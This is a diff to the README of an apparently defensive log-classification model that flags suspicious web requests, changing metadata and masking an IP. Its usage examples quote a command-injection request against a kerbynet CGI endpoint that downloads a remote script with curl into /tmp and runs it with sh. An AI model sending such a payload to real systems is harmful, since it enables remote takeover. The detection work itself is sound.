Update README.md

README.md

@@ -1,6 +1,7 @@
 ---
 language: en
 license: apache-2.0
+pipeline_tag: text-classification
 ---
 # Log Inspector
 
@@ -15,7 +16,7 @@ Given text must be parsed as like:
 ```python
 >>> from transformers import pipeline
 >>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
->>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;')
+>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;')
 [{'label': 'LABEL_0', 'score': 0.9999788999557495}]
 ```
 class 0 is a suspicious log. class 1 is a safe log.
@@ -24,7 +25,7 @@ With simpletransformer:
 ```python
 >>> from simpletransformers.classification import ClassificationModel
 >>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
->>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;']) # 評価
+>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;'])
 >>> print(predictions)
 [0]
 ```